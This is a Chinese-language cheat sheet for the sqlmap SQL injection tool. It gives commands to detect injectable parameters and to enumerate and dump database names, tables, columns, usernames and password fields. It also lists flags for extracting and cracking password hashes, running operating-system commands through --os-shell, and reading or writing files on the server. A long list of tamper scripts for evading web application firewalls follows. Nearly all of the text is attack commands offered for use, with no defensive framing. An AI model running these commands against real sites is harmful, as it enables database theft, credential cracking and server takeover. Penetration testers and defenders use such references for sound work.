1、 判断是否存在注入
sqlmap -u url?id=1
当注入点后面参数大于等于两个时需要加双引号
sqlmap -u "url?id&uid=2"
2、判断文本是否存在注入
使用抓包生成web数据包require.txt
sqlmap -r require.txt
3、基本注入命令
sqlmap -u url?id=1 --dbs | 查询当前用户下所有数据库 |
sqlmap -u url?id=1 -D exp --tables | 获取数据库中的表名 |
sqlmap -u url?id=1 -D exp -T exptable --columns | 获取字段名 |
sqlmap -u url?id=1 -D exp -T exptable -C username,passwd --dump | 获取字段内容 |
sqlmap -u url?id=1 --users | 获取所有用户 |
sqlmap -u url?id=1 -passwords | 列出数据库用户的密码,如果包含用户密码权限,sqlmap会列举出用户,然后列出hash,并尝试破解 |
sqlmap -u url?id=1 --current-db | 获取当前网站数据库名称 |
sqlmap -u url?id=1 --current-user | 获取当前数据库用户名称 |
4、sqlmap参数
--level 5 | 指需要执行的测试等级,可以补选,默认为1,一共5个等级,自然5级的payload最多,解析最慢, |
--is-dba | 查看当前账户是否为数据管理员账户 |
--roles | 列出数据库管理员角色 |
--referer | 当--level参数设置为3或3以上时会尝试对referer注入 |
--sql-shell | 用于执行sql语句 |
--os-cmd.--os-shell | 运行任意操作系统命令(如果数据库为Mysql,postgreSQL,sqlmap上传一个二进制库包含sys_exec()和sys_eval(),那么创建的两个函数就可以执行系统命令) |
--file-read | 读取执行文件 |
--file-write --file-dest | 写入本地文件到服务器中 |
5、sqlmap绕过脚本tamper(绕过WAF等)
sqlmap XXXX --tamper "模块名"
常用tamper脚本
apostrphemask.py | 将引号替换为UTF-8 |
base64encode.py | 替换为base64编码 |
multiplespaces.py | 围绕SQL关键字添加多个空格 |
space2plus.py | 用+号替换空格 |
nonrecursivereplacement.py | 用双重语句替代预定义的SQL关键字(适用于非常弱的自定义过滤器) |
space2randomblank.py | 将空格替换为其他有效字符 |
unionalltounion.py | 将UNION ALL SELECT 替换为UNION SELECT |
securesphere.py | 追加特制的字符串 |
space2hash.py | 将空格替换为#号,并添加一个随机字符串和换行符 |
space2mssqlblank.py(mssql) | 将空格替换为其他空符号 |
space2mssqlhash.py | 将空格替换为#号,并添加一个换行符 |
between.py | 用NOT BETWEEN 0 AND 替换大于号,用BETWEEN AND 替换等号 |
percentage.py | ASP允许在每个字符前面添加一个%号 |
sp_password.py | 从DBMS日志的自动模糊处理的有效载荷中追加sp_password |
charencode.py | 对给定的Payload全部字符使用RL编码(不处理已经编码的字符) |
randomcase.py | 随机大小写 |
charunicodeencode.py | 字符串unicode编码 |
space2comment.py | 将空格替换为/**/ |
equaltolike.py | 将等号替换为like |
greatest.py | 绕过对">"的过滤,用GREATEST替换大于号 |
modsecurityversioned.py | 过滤空格,使用MySQL内联注释方式进行注入 |
space2mysqlblank.py | 将空格替换为其他空白符号 |
modsecurityzeroversioned.py | 使用MySQL内联注释的方式(/*!00000*/)进行注入 |
space2mysqldash.py | 将空格替换为--,并添加一个换行符 |
bluecoat.py | 在SQL语句后用有效的随机空白符替换空格符,随后用LIKE替换等于号 |
versionedkeywords.py | 注释绕过 |
halfversionedmorekeywords.py | 当数据库为MySQL时绕过防火墙,在每个关键字之前添加Mysql 版本注释 |
space2morehash.py | 将空格替换为#,并添加一个随机字符串和换行符 |
apostrophenullencode.py | 用非法双字节unicode.py字符替换单引号 |
appendnullbyte.py | 在有效符合的结束位置加载零字节字符编码 |
chardobleencode.py | 对给定的payload全部使用双重URL编码 |
unmagicquotes.py | 用一个多字节组合(%bf%27)和末尾通用注释一起替换空格 |
randomcomments.py | 用/**/分割SQL关键字 |